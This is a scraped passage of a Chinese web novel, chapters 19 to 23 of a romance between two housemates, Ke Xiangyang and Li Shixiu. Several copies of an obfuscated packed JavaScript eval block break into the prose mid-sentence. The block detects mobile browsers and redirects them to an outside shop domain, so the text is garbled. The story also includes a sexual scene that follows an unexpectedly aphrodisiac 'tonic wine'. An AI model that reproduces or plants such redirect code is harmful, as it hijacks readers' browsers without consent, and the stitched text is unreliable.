l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171840|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想吃。” 柯向阳打开冰箱看了看,里面的菜还有很多:“那你想吃什么?我给你做。” 厉时修想说没胃口,又怕柯向阳担心,便道:“给我煮碗泡面吧。” “好,你等一会。” 柯向阳起锅烧水,拿出一颗小白菜洗洗择了,想起今天的事,忍不住要跟厉时修分享:“今天乔乔的妹妹去相亲了,乔乔不放心,叫我一起跟去看看,结果你猜乔乔他妹的相亲对象是谁?” 厉时修一下子竖起了耳朵,捕捉到关键词——乔乔的妹妹!意识到是自己误会了,突然觉得心头的郁结瞬间消散。 “我们都认识,还有联系的。”见厉时修没有回答,柯向阳给了点提示。 厉时修思索了会,答:“程嘉弘吗?” 柯向阳惊呼:“你猜得太快了吧!” “你和我都认识,最近还有过联系的,不就是他了吗?”厉时修笑了笑,突然有了食欲,“面煮好没?我饿了。” “马上。”柯向阳把鸡蛋打进汤里,放入调料包搅了搅,开始装碗。 厉时修吃面时,柯向阳还在绘声绘色地给他讲乔梦书的一系列骚操作,差点把厉时修的食欲又说没了。 柯向阳说着说着,目光被桌子上的酒盒子吸引,拿起来问道:“这是什么啊?” “老纪给的酒,说是能补身子,你去倒两杯喝。”厉时修正好吃完面,把碗端去洗。 “补酒吗?”柯向阳感兴趣地拿来两个小酒杯倒上,尝了一口,“味道怪怪的。” 厉时修提醒:“喝两杯就好了,别多喝。” “厉哥,你也喝呀。”柯向阳将另一杯递给他。 “我身体好得很,不需要补。” “那你喝一杯尝个味嘛。”柯向阳干脆直接喂到他嘴边。 厉时修一饮而尽,评价道:“味道确实不怎么样。” “是不是药材放多了?”柯向阳喝了两杯,感觉身体一下暖了起来,嘀咕着:“药劲还挺大。” * 晚上,柯向阳躺在床上,不知为何,总觉得精神十分亢奋,大脑清醒得像是喝了十杯咖啡。 身体喝过补酒的暖意逐渐变成燥热之感,最终汇聚成小腹处的一团野火,越烧越旺。 柯向阳受不了了,起身冲到浴室冲凉。 冷水哗哗地浇在身上,水珠顺着脖颈滑过锁骨,短暂的凉意根本无法浇灭体内翻涌的热浪。 柯向阳两颊泛红,双眼隐隐充血,意识开始模糊,眼前浮现出厉时修精壮的身体,心脏不受控制地剧烈跳动,呼吸间全都带着灼热的渴望。 “厉哥……”欲望随着他的呼唤释放,心头的火焰却没有熄灭,只能继续动作。 好难受,越是着急,就越是不得章法,好想有人能帮帮他。 此刻对厉时修的渴望达到顶峰,恍惚间,仿佛真的看见对方在朝自己走来,眼神炽热。 “厉哥,帮帮我……”柯向阳用带着哭腔的声音朝来人祈求。 一只比他要大上许多的手掌覆上他的手背,微微收紧: “别哭,我帮你。” 20. 互相帮助 柯向阳对老家的怀念大部分来源于那方小小的后院,院子里摆满奶奶种的花花草草,还有一口古老的水井。 夏天的井水带着沁骨的凉意,奶奶会买来西瓜整个浸在井里,吃的时候冰冰凉凉,比后来离家在外吃过的所有冰西瓜都要清甜。 第一次看见厉时修赤裸的身体也是在那口水井边。凉爽的井水兜头浇下,将盛夏的暑气冲刷得一干二净。 他们用水瓢疯狂泼水,放声大笑,玩到浑身湿透,再脱了衣服抹上肥皂,坐在小板凳上互相搓背。 不吃力的柯向阳总被搓得鬼哭狼嚎,连声求饶。 轮到他戴上搓澡巾,想要报复回去的时候,得到的永远都是一句:“没吃饭吗?再用点力。” 十六岁的厉时修身高就有一米八五,身材匀称,肌肉结实,对比之下,柯向阳瘦弱得犹如一只白斩鸡。 那时他对厉时修根本没有其他想法,只是单纯羡慕人家个高身材好。 眼下,变得更加高大的厉时修将一丝、不挂的他完全圈进怀里,轻声耳语:“别哭,我帮你。” 是幻觉吗?平时只会出现在梦里的场景,此刻真真切切地发生了,身下清晰的触感让柯向阳觉得异常羞耻,微微挣扎起来:“不……” “没事的,不要怕。”厉时修安抚道,温热的呼吸拂过他耳畔,吹落发梢凝出的水珠,在滚烫的皮肤上溅起细小的凉意。 低沉的嗓音总带着让人无法抗拒的魔力,柯向阳卸下力来,顺从地靠在他胸前。 大概是不小心碰到开关,头顶的花洒转而喷出细密的水雾,在柔和灯光下折射出细碎的光芒,一圈圈晕开形成朦胧的白幕。不同的手掌纹理让感觉变得十分强烈,站在花洒下的柯向阳被冲刷得睁不开眼,头晕目眩。 “还好吗?”厉时修垂下头,嘴唇有意无意蹭过他脸颊,低低地轻笑。 “嗯……”身体的热度降下许多,各个感官开始重新运转,柯向阳的大脑跟着清醒过来,整个人顿时变成一只熟虾。清晰感受到某些变化,想起厉时修也喝了补酒,难道这会才起效? 秉着不能只顾自己的原则,柯向阳磕磕巴巴地开口:“厉哥,我、我也、帮、帮你吧。” 厉时修的动作一顿,随后收回了手。 柯向阳有些忐忑地想,他是生气了吗?自己这么说是不是太冒昧了?还是他只想帮别人,不想别人帮他? 胡思乱想之际,身体突然被转了个向,眼前一花,柯向阳才反应过来厉时修刚刚在干什么。 柯向阳根本不敢细看,颤抖着伸出手,碰到的瞬间心里只有一个念头。 这合理吗合理吗合理吗?!真是韩漫照进现实,艺术源于生活啊! “发什么呆?”厉时修低头咬了咬他的耳尖,不满地催促:“动一动。” 沉浸在震撼中的柯向阳根本没意识到厉时修的举止有多暧昧,机械地服从指令。 两人的动作逐渐同步,细碎的声音被水流声冲得支离破碎,水花飞溅,瓷砖地面上两道拉长的影子紧紧纠缠在一处。 客厅里,闻声而醒的小乖懒懒地打了个呵欠,给小猫崽们依次舔完毛,浴室的动静还没结束,不知两位主人什么时候才能消停。 * 端午假期的最后一天,柯向阳久违地赖了许久的床。 凌晨事后睡得有多香,现在就有多崩溃。一想到在浴室里发生的事,他便忍不住把头埋进枕头无声尖叫。 几天前还觉得直男之间互相帮助很离谱的他转头就跟自己的直男朋友互相帮助了,这叫什么事啊。目光落在抓着枕头的右手上,某种触感清晰再现,挥之不去。 太羞耻了!!他要怎么面对厉时修啊! 柯向阳受不了地在床上扭来扭去,直到把自己和被子扭成了一根大麻花。 肚子叫得震天响,拿起手机看了眼时间,已经中午十一点了,厉时修没来喊他起床吃饭,是出门了还是也觉得尴尬呢? 明明是他先主动的。 柯向阳逼迫自己不要再想了,伸头一刀缩头也一刀,于是一个鲤鱼打挺从床上起来,走出卧室就看见厉时修正坐在客厅的沙发上看报纸。 “起来了?感觉怎么样,还难受吗?”厉时修放下报纸,神情自若地问。 “不、不难受了。”柯向阳也想保持自然,可脸控制不住地发烫,好想立刻掉头回房钻进被窝里啊。 “脸这么红,没发烧吧?昨晚淋了那么久的冷水,别又感冒了。”厉时修起身向他走来,伸手想要摸摸他的额头。 “没有,我没事!”柯向阳后退一步躲开那只在他身上干过坏事的手,着急忙慌地往厨房走,“好饿啊,有什么吃的吗?” “有粽子。”厉时修跟着他进了厨房,“我也还没吃。” 这两天阿姨放假,吃饭得自己解决,柯向阳从冰箱里拿出粽子,准备放在蒸锅里加热。 厉时修站在他身后,离得很近,此刻两人的姿势跟昨晚十分相似,柯向阳拿着锅盖的手忍不住轻轻颤抖。 “小柯。”厉时修唤道。 柯向阳下意识地侧过头:“怎么了?” 厉时修微微叹息,神情失落:“昨晚的事,你要是觉得不自在,就当没发生过吧,我只是想帮你,没有别的意思。” 柯向阳慌乱道:“我、我知道,我没觉得不自在。” “是吗?可你出了房门到现在,都没有拿正眼看过我。”厉时修的语气里透出一丝受伤。 柯向阳犹豫了会,转过身面对厉时修,忍住羞耻与他对视:“我是怕你觉得不舒服。” 厉时修沉默片刻,说了句:“我很舒服。” “?”柯向阳一愣,随后感觉整颗脑袋都要着火了,他不是那个意思啊! 见柯向阳满脸窘迫,厉时修露出些许笑意:“我留学的时候,经常听他们提起,朋友之间也是会做这种事的,不要觉得有负担,好吗?” 难得听厉时修用这么温柔的语气说话,柯向阳感觉脑袋又开始变得晕晕乎乎,不自觉顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171841|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他的话往下说:“是啊,我也听说过,而且大家都是男人,又没什么损失,呵呵。” “我来弄吧,你去洗漱一下。”厉时修接手了剩余工作,将柯向阳赶出厨房。 站在洗手台前刷牙时,柯向阳的脑海里再次不可避免地浮现出少儿不宜的画面。 草草漱了口,捧起冷水泼向自己的脸,睡衣领口垂下,柯向阳从镜中看见自己的锁骨处多了一块红色的印记。 这该不会是传说中的草莓吧?! 粽子端上桌,柯向阳拉紧领口,鸵鸟似的垂着头。 厉时修见他快要吃完一个,又给他剥了个放在盘子里晾着:“我问过老纪了,他说可能是第一次喝所以效果比较强烈,以后一次喝小半杯就够了。” “这样啊。”柯向阳点点头,又想起两杯酒带来的强劲效果,那哪是补酒啊,分明是春药! 没错,千错万错都是那瓶补酒的错,可恶的纪向松,给厉时修送如此不正经的东西,还好是他们俩在一起喝了,万一昨晚厉时修拿去跟别人喝,也会做那种事吗? 这么一想,柯向阳心里止不住地冒酸水。 厉时修突然坐直了身子:“对了,刚刚跟你说的那些话得纠正一下。” “什么?”柯向阳一时没反应过来,抬起头傻傻地看着他。 “也不是什么朋友都能做那种事的,只有像我们这样关系非常非常好的朋友才可以那样做,不准随便跟别人做,知道吗?”厉时修拿纸巾擦了擦嘴角,眼神中流露出一丝警告。 “知道了。”柯向阳点点头,按耐不住地问出口:“厉哥,那……你还有其他能做那种事的朋友吗?” 不知想到什么,厉时修的脸黑了一瞬:“没有,只有你一个。” “我、我也是。”除了厉时修,他根本不可能跟别人做那些事,现在知道厉时修的想法,柯向阳心里既高兴他只有自己这一个很好很好的朋友,又郁闷他们俩只能是朋友。 在厉时修看来,朋友之间做那种事是正常的,可他要是知道自己不是直男,会不会觉得很恶心? 想到这里,柯向阳脸上的血色褪了个干干净净,事已至此,更不能让对方知道他的心思了。 厉时修见状,皱眉问道:“你没事吧?刚刚脸还那么红,一转眼怎么白成这样?” “没事,只是想到下午要去看牙,有点害怕。”昨天出门前被厉时修逼着预约了今天下午两点去牙科医院,此时想起来,确实开始害怕了。 厉时修无语:“都多大的人了,还怕看牙。” 吃完午饭,柯向阳磨蹭了半天,眼见没时间了才去换衣服。 结果换来换去都没挡住锁骨那枚明晃晃的草莓,也不知道什么时候能消下去。 干脆贴个创可贴,有人问起就说是小乖挠的,对不起了小乖。 柯向阳悄悄摸到放医药箱的收纳柜里,拿出一个创可贴,正对着手机屏幕找位置时,身后幽幽传来一句: “抱歉,昨晚没忍住。” 21. 看牙 柯向阳一个激灵想要站起来,偏偏脚下不稳摔进厉时修怀里,两人一起向后倒去。 压在厉时修身上的柯向阳挣扎着想起身,听到一声闷哼,顿时不敢动了:“没事吧厉哥?有没有压到哪?” “没事,你先别动了。”厉时修抬手遮住眼睛,像是在极力忍耐着什么。 柯向阳此刻正靠在厉时修胯间,突然反应过来自己压到的是哪,不由红了脸:“你干嘛要站在我身后吓我啊。” “我只是看你蹲这半天,想看看你到底在干嘛。”厉时修好不容易缓过来,起身拉起柯向阳。 “真的,没事吗?”柯向阳有些担心地往下瞥了一眼。 “怎么?你要亲自确认一下吗?”厉时修打开双手,一副任由检查的模样。 柯向阳:“……” 厉时修哼笑一声:“胆子比麻雀还小,准备好了就出发吧。” 柯向阳诧异道:“你也要去吗?” “反正没什么事,正好盯着你,不然你出去溜达一圈回来,骗我说看过了怎么办?” “我才不会做这种事。”柯向阳郁闷道,“假期最后一天了,你在家好好休息呗。” “又没有干活,有什么好休息的,走吧,别磨蹭了。”厉时修拿上车钥匙往门口走。 “等等,我再刷个牙。”刚吃了午饭,嘴巴里多多少少有些异物。 柯向阳认认真真地又刷了一遍牙,对着镜子张大嘴巴观察后面那颗蛀掉的大牙,在心中估摸能不能避开他最害怕的根管治疗。 这颗牙也不知道是什么时候蛀的,因为只有吃甜度太高的食物才会痛,他便没在意,谁承想拖着拖着居然蛀成一个这么大的洞。 能避免根管治疗的可能性大概只有百分之一吧,柯向阳生无可恋地跟在厉时修身后走出家门。 进电梯时,厉时修盯着柯向阳的领口看了会。 柯向阳好奇道:“看什么呢?” “没挡住。”厉时修上手调整了一下创可贴的位置。 指尖轻触锁骨,像羽毛拂过般带起一阵痒意,柯向阳忍不住往后缩了缩。 “好了。”厉时修面不改色地收回手。 柯向阳心想明明是他搞出来的,为什么只有自己在不好意思啊?于是他故作淡定地说:“下次不要在这么明显的地方留下痕迹了。” 厉时修一愣,随后脸上漾开一抹掩饰不住的笑:“好。” 等柯向阳坐在车里反应过来自己说了什么之后,想跳车的心都有了。 * 下午两点,柯向阳准时到达牙科医院的诊疗室,医生看了一下他的口腔情况,让护士带去他拍片。 片子出来,医生指着屏幕上的图片对他说:“这颗牙蛀得很深啊,而且靠近边缘,根管是一定得做,做完建议再加个牙套进行保护,因为到时候你的牙齿边缘会变得很薄,容易破裂,破裂的话就只能拔掉做种植牙了。” 柯向阳悬着的心终于死了:“那费用是怎么算的?” “补牙的话看材料,有国内的和进口的两种,价格差一倍,不过根管治疗加补牙,一千以内可以解决,牙套就比较贵了,最便宜的也得一千五一个。” 柯向阳算了算,治一颗牙就得花两千多,现在看牙是越来越贵了。 “这只是建议,牙套做不做看个人选择,但牙是一定得补的,不然蛀得太严重还得拔了做种植牙,那就不是一两千能解决的问题了,而且再好的材料也比不上你的原装牙,以后可得好好保护自己的牙齿啊。”医生笑道。 “知道了。”柯向阳欲哭无泪。 医生:“今天只能先开髓清理一下,填个药,后面还得再来两次。” “好的。”柯向阳躺在治疗椅上,护士替他系上蓝色围兜,说明了一下边上的水槽和水龙头的使用。 医生手举注射器,提醒:“现在给你打麻药,可能会有一点痛,别害怕,千万不要动哦。” 柯向阳盯着白晃晃的天花板,紧张道:“好。” 牙龈处传来一阵刺痛,柯向阳感受到针头扎进肉里,缓缓推进,冰凉的液体顺着针管注入,涨涨的,有些难受。 “先帮你清除一下表面的蛀牙,如果还会痛的话就举手示意。” “嗯。”大张着嘴的柯向阳只能从鼻腔发出回应,注射完麻药他并没有特别的感觉,此刻他比医生还担心麻药没起作用。 尖锐的嗡鸣声响起,钻头接触牙齿时引起的震动一直蔓延到脑袋深处,钻到深处时的还会传来隐隐的酸疼,令他浑身一颤。 感受到柯向阳的动作,医生立即停下动作问:“疼吗?” “有点栓痛。”柯向阳口齿不清地回答。 医生有些惊讶,早就过了麻药起效的时间,还有感觉的话只能说明没有起效:“这款麻药可能对你效果不好,得换一种。” 于是柯向阳悲惨地又挨了一针。 第二针的效果明显好多了,柯向阳麻木地张着嘴,没有痛感,但能感受到一阵阵焦糊味涌进喉咙,身侧的护士不停地用吸唾管将口腔内的杂质与口水及时吸走,与医生配合默契。 不知过了多久,随着药物填入牙洞,第一个疗程圆满结束,医生跟柯向阳说了些注意事项:“可以吃东西,但别咬太硬的东西,今天晚上牙可能会痛,是正常情况,不用担心,痛得厉害的话就吃止痛药,别硬撑。” “好的,谢谢医生,下周还是这个时间来对吧?”柯向阳的嘴唇和下巴已经彻底没有知觉了。 医生点点头:“对,到时候我会再跟你确认时间的。” “麻烦你了,那我先走了。”柯向阳从治疗椅上下来,一边摸着右侧下颌一边慢慢往外走。 坐在等候区的厉时修见他出来,跟着起身:“弄好了?” “今天的弄完了,后面还要来两次。”柯向阳感觉舌头也麻麻的,说话都不太利索。 * 回到家才刚四点,柯向阳接了杯水,喝的时候总有一种水要从嘴角漏出去的感觉,不放心地伸出左手放在胸前想接水。 厉时修被他这模样逗乐了:“药效多久会消退?你现在的样子好呆。” 柯向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171842|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳艰难开口:“医生说两个小时内会恢复知觉,完全消退要四个小时。” “那你要不要去休息会?睡一觉正好起来吃饭。”眼下的柯向阳满脸透着股蠢萌的气息,厉时修忍不住抬手捏了捏他的脸。 “不想睡了,看会电视吧。”柯向阳挑了一部新出的番剧,评分还挺高。 原以为主线是男主在异世界打怪升级,没想到居然是个美食番,看得他不停地咽口水。 厉时修靠着沙发:“所以才叫你要及时治疗,不然顶着你那颗蛀牙,吃东西能香吗?” 柯向阳小鸡啄米似的点点头,再过两周就能彻底补好牙,想想牙齿治好后的美好生活,心情也跟着明媚起来。 不过这份喜悦并未维持多久,晚上吃完饭,柯向阳的牙齿开始隐隐作痛,那时的他还以为这就是医生说的牙痛问题,并没有放在心上。 凌晨一点钟,躺在床上做着美梦的柯向阳突然被一阵尖锐的疼痛惊醒,眼里的迷茫在新一波的疼痛侵袭下变成惊恐,捂着嘴缩成一团。 好痛啊啊啊啊!!! 比以往任何一次牙痛都要剧烈且来势汹汹,简直一波未平一波又起,层层叠叠延绵不绝。 柯向阳在床上来回打了好几个滚,冷汗直冒,脑袋里像是被人用铁杵胡乱搅动,脑浆都要搅匀了。 止痛药!得去找止痛药,再不吃药他会死的! 痛到崩溃的柯向阳强撑着地从床上起来,一边流泪一边踉踉跄跄地往客厅走。 医药箱里的药很多,柯向阳翻找了半天也没找到止痛药,饱受疼痛折磨的他顿时压抑不住地呜咽起来。 “小柯?”厉时修的声音从身后传来,带着丝迟疑,“你在哭吗?” 委屈的情绪瞬间喷涌而出:“厉哥,我、我、牙疼,疼死了!找不、找不到药,呜呜……” 厉时修上前快速找出止痛药,接了一杯水,喂他吃下两片药,伸手擦了擦他脸上的眼泪:“怎么不直接叫我?哭成这样,害不害臊?” 柯向阳捂着腮帮子,吸了吸鼻涕,努力止住眼泪。 “晚上让你提前备好药放房间,你还说不用,这下舒服了吧?”厉时修曲起手指敲了一下他的脑门,一把抱起他往房间走去。 突然悬空的感觉让柯向阳条件反射般死死搂住厉时修的脖子,嘴里还在嘟囔着:“我自己能走。” 厉时修将人放在床上,想再数落两句,见他抖着被泪水浸湿的睫毛,又忍不住心软:“还疼吗?” 柯向阳摇摇头,药片形式的止痛药比胶囊的药效发挥得更快,那股要命的痛感此刻已经消退许多。 厉时修转身走出房间,柯向阳抱膝坐在床上,看着他的背影有些失落,没想到心心念念的身影马上又出现在眼前,他只是出去把药和水杯拿进来放在床头柜上:“躺下。” 柯向阳乖乖钻回被窝,抬眼看向厉时修,希望他能留下来陪陪自己,却不好意思开口。 像是看出他的想法,厉时修跟着上床,侧身将人揽进怀里,轻轻拍着他的背:“好了,我陪着你,快睡吧。” 22. 面试 柯向阳后知后觉地感到一阵丢人,埋在厉时修胸前蹭了蹭。 厉时修立刻警铃大作想要往后退:“不准把鼻涕擦在我身上。” “没有擦你身上。”柯向阳揪着他的衣服小声答道,他只是擦了一下眼泪。 厉时修这才重新抱住他,手掌从轻拍转为轻抚,一下一下,温柔而规律,仿佛小时候奶奶哄他睡觉一样。 牙彻底不痛了,鼻尖充斥着熟悉的柑橘调沐浴露的气味,好好闻,喜欢。 柯向阳偷偷抬头,看向厉时修的喉结和下巴,好性感,喜欢。 喜欢厉时修的味道,喜欢厉时修的长相,喜欢厉时修的声音,喜欢厉时修的怀抱,喜欢厉时修的一切,喜欢到心脏都在一抽一抽地疼,为什么他不能喜欢自己呢? 明明只是朋友,却对他那么好,好到有时柯向阳也会产生一种自己说什么厉时修都会毫不犹豫答应下来的错觉。 如果现在跟他告白,他会是什么反应? 大概会吓一大跳,然后强装镇定地离开,装作无事发生,再默默疏远自己。 不想连朋友都做不成,所以柯向阳选择将这份喜欢藏在心底,他已经藏了快八年,就继续藏下去吧,当一辈子好朋友也足够了。 柯向阳在胡思乱想中涌上一阵困意,没有察觉头顶传来的细微触碰。 * 端午过后,天气像是发来进入盛夏的信号,鹤水市彻底开启高温模式。 柯向阳正在书房使用电脑,他的笔记本和手机一样用了好几年,已经开始卡顿了,正考虑要不要跟手机一起换新。 之前计划好的考完驾照要找工作和房子的事,得正式提上日程了。 一方面是生活所迫,另一方面便是与厉时修住得越久,心中的感情越难以压抑,在事情往不妙的方向发展前,他得及时止损。 当初想的什么试探啊,掰弯啊,早被抛之脑后,柯向阳始终是那只小鸵鸟,主动出击太不适合他了,现在的他只想逃跑。 刚发出去几封简历,腿上突然一沉,传来“喵”的一声。 小乖如今胖了许多,连带着把一窝小猫崽也喂养得圆滚滚胖乎乎,每一只都健康活泼,已经不需要他一整天地盯着照顾了,再过一个月,等乔梦书把两只小猫接回家,剩下的四只猫厉时修一个人应该可以应付。 想到这里,柯向阳心中不舍,低头摸着小乖的后背,温声问道:“怎么了?” 小乖仰头蹭蹭他的手,在他腿上趴下,团成一团,打起呼噜。 “想我了吗?特地来陪我,真乖。”柯向阳挠了挠小乖的小巴,只觉心头软软,“怎么会有这么懂事的小猫咪呀?等下叔叔给你煮大虾吃,想不想吃呀?” “喵~”小乖抬起头,似乎在说想吃。 “你听懂了是吧?我们小乖真是太聪明了,给叔叔亲两口。”柯向阳受不了了,抱起小乖一顿亲,想想当初自己还跟着视频学如何发出夹子音,结果养了猫以后每天都在无师自通地夹。 正想起身去厨房,邮箱里传来一封邮件,柯向阳抽出手点开看了眼,居然是面试通知,再回头看看公司名称和面试岗位,不禁怀疑自己是不是眼花了。 确认几遍无误后,他立刻截图发给厉时修:【厉哥,这是你给我安排的工作吗?】 厉时修:【这么快就看到了,我正准备跟你说。】 柯向阳:【(小猫震惊)】 厉时修:【我只是帮你投了一份简历,至于能不能通过面试,全靠你自己。】 柯向阳表示怀疑,以他的学历和工作经验,投简历就能得到面试机会的话,东盛每天得面试多少人? 厉时修:【我觉得你很适合这份工作,不要再抱着得过且过的心态生活了,好好准备面试,我不会给你放水的。】 柯向阳晕倒,不放水的话,他这辈子都不可能面试成功吧。 厉时修:【相关资料也发你了,这两天在家好好复习。】 望着邮箱里一封又一封的资料邮件,柯向阳忍不住腹诽,这还叫不放水,已经给他放了个太平洋了! * 傍晚,下班来看小猫的乔梦书听到柯向阳要去面试东盛总裁助理这个职位时,不由口吐芬芳:“卧槽,记得请我吃饭啊!” “面上再说。”柯向阳不敢把话说太满。 “什么面上再说,这不摆明了内定吗?原来霸王龙回来这么久都没找助理啊,敢情是等着你呢,我就说他能给你安排吧。”乔梦书一脸不出所料的表情。 柯向阳迟疑地开口:“我这算走后门吧?” “你走什么后门啊?你只能被走后门。”乔梦书嗤笑一声,见柯向阳似乎有所顾虑,又安慰道:“你看霸王龙工作这么久都没助理,说明这个岗位本来就是可有可无的,而且你又不是职场小白,你有三年的行政岗经验,又对霸王龙了如指掌,没人比你更适合当他的助理了。” “是这样吗?”柯向阳不确定道。 乔梦书继续道:“再说了,就算你不能胜任,以后再找工作,说你当过东盛的总裁助理,也是给简历镀金了啊,你要是拒绝了才是脑子有坑。” 柯向阳被说服了,点点头:“有道理。” “所以,苟富贵勿相忘啊。”乔梦书拍拍柯向阳的肩,“我要吃上次发你的那家海鲜自助。” 柯向阳掏出手机点开乔梦书之前分享的链接,看见上面人均598的价格陷入沉默。 “咦,姓程那小子给你发消息了,都跟你说什么了?”凑过来的乔梦书正好看见屏幕上方的弹窗,好奇地问。 “就是让我帮忙说点好话啊,顺便问了瑶瑶的喜好,我看他是挺喜欢瑶瑶的,瑶瑶那边怎么说?”这两天程嘉弘没少向柯向阳打探消息,不过柯向阳没跟他说太多,毕竟论起亲疏,他还是跟乔梦书兄妹关系更好。 “瑶瑶年纪那么小能懂什么,下次你把他约出来打麻将,我来看看他的牌品如何。”乔梦书咬牙切齿地说道。 “可以,等周末吧。”柯向阳自己的恋爱没着落,对别人的感情生活倒挺上心,“你要不要先跟他打两把游戏观察一下?” 乔梦书大喜:“好主意。” * 柯向阳的面试在周五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171843|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上午,他紧张地准备了两天,换上自己唯一一套正装,郑重其事地推开面试场地的大门,然后对上厉时修那张面无表情的脸。 柯向阳:…… 厉时修身边还坐着一男一女两个面试官,看起来十分正式。 柯向阳不知道自己是怎么完成的面试,离开时整个后背都汗湿了。 门口的江秘书看起来等候多时,一见到他就迎了上来:“柯先生,厉总让你到他办公室等他。” “好,谢谢。”柯向阳一边跟着江秘书上了电梯,一边在脑海中对刚刚的面试进行复盘,面试官提的问题基本能在厉时修给的资料里找到答案,得亏柯向阳用心研究过,不然给了资料也白搭。 许久没来厉时修的办公室,依旧是那副简约大气的风格,只是多了一张办公桌,是为新助理准备的吗? 新办公桌上有许多文件,他不敢随便翻看,便去冰吧拿了一瓶水,又到陈列架前把上次没看完的画册掏出来,将将翻完一本,厉时修正好推门而入。 面对柯向阳紧张的目光,厉时修指了指另一侧的办公桌:“以后那里就是你的工位,录用信息和入职通知到时候会发你邮箱,记得查收。” 柯向阳满脸错愕:“这么快就出结果了?” “又不是什么很难决定的事,为什么要浪费时间考虑那么久?人事主管和行政总监对录用你都没有意见,今天表现不错。”厉时修揉了揉他的头发。 原本对自己走后门的行为有些忐忑的柯向阳在听到厉时修的夸奖后,突然又觉得自信了,自己确实用心准备了,能被录用也在情理之中嘛。 厉时修的心情似乎也很不错:“你想什么时候入职?” 柯向阳疑惑:“可以自己选入职时间吗?” “本来是不可以的,但以你和老板的交情,这点小事还是可以通融一下的。” 柯向阳连连摆手:“不用通融不用通融,就按程序走,我时刻准备着。” “不用等你补完牙吗?”厉时修永远比柯向阳本人更关心他的牙齿状况。 “补牙又不是不能上班,要是时间对不上你再给我批半天假好了。”柯向阳觉得这根本不是问题。 厉时修坐在自己的办公桌前,提醒:“你都不问问薪资待遇吗?” 柯向阳这才意识到从收到面试通知到现在,他居然完全没想过工资这个现实的问题,可能潜意识里觉得东盛的待遇绝对不会差,所以很放心吧。 只见他十分没追求地笑道:“不比之前的工资低就行。” “瞧你那没出息的样。”厉时修无奈了,“今天先待在这里熟悉一下工作内容,有什么不懂的可以问我,我在忙的话就去找江秘书,他的工位在门口。” “好的。”柯向阳立刻到自己的工位上坐好。 “还有,以后上下班由你负责开车接送我,这也是你的工作内容之一。” “啊?”他拿到驾照以后才开了一次车啊。 不等他提出疑问,厉时修接着说:“所以你不用再找房子了,继续住我那,比较方便。” 柯向阳:“……” 23. 小四 柯向阳刚刚还想着可以趁周末去找找房子,有合适的先租下来,现在看来,根本没有比住在厉时修那更好的选择了。 没有立刻得到答复的厉时修有些不爽:“怎么?你不愿意啊?” 柯向阳刚想答不是,又听厉时修说:“你别忘了,你答应过要帮我照顾小猫的。” 说到小猫,柯向阳解释道:“我是准备待到小猫断奶的,到时候乔乔正好把糯米和年糕接走……” “断奶?”厉时修拧起眉毛,“我记得我说的是你愿意帮忙照顾它们,我才领养,谁说只要照顾到断奶的?” 柯向阳回想了下,好像是没这么说过。 厉时修用手指敲了敲桌子:“以后照顾小猫也是你身为助理的工作,难道你想天天两头跑增加自己的工作量吗?” 柯向阳摇了摇头,那倒不想。 “所以,继续住在我那里有什么问题吗?”厉时修看似从容的表情中隐藏着一丝不易察觉的焦虑,“还是说你不想跟我一起住?” “不是的,我只是觉得一直住在你那太麻烦你了。”柯向阳挠挠头,纠结不已。 “为什么要说麻烦?我们之间怎么能说麻烦?”厉时修的声音一下子高了几度,“柯向阳,你是不是根本没把我当朋友?” 完了,这种连名带姓的叫法带着十足的压迫感,令柯向阳本就垂着的脑袋更加抬不起来。 “你要还当我是朋友,就别事事都算得那么清楚,而且那么大的房子,我一个人住总感觉空荡荡的,我也希望能有个人陪着,你要是不愿意就算了。”厉时修坐在转椅上转了一圈,给柯向阳留下个愤怒的背影。 柯向阳好不容易下定的决心瞬间瓦解,什么搬出去保持距离,什么别让自己越陷越深,统统不重要了,厉时修都说想要人陪了,那他就得陪着,因为他们是最好的朋友啊! 墙头草柯向阳握紧拳头,用坚定到仿佛要入党的表情说:“厉哥,我愿意!我愿意跟你一起住,你别生气了。” 厉时修撑着下巴,将转椅转了回来:“真的?” “真的,所以我们来算一下房租和伙食费吧。”之前以为是暂住,没有聊过给房租的事,如今要长住了,还是得正式一点。 厉时修眉毛一扬:“为什么要算这些?” 柯向阳表示坚持:“就算是朋友,也不能总是我占你便宜吧。” 厉时修根本不想收他的钱:“你可以当做是找了一份包吃包住的工作。” 柯向阳撇撇嘴,说:“要是这样,我就不住了。” 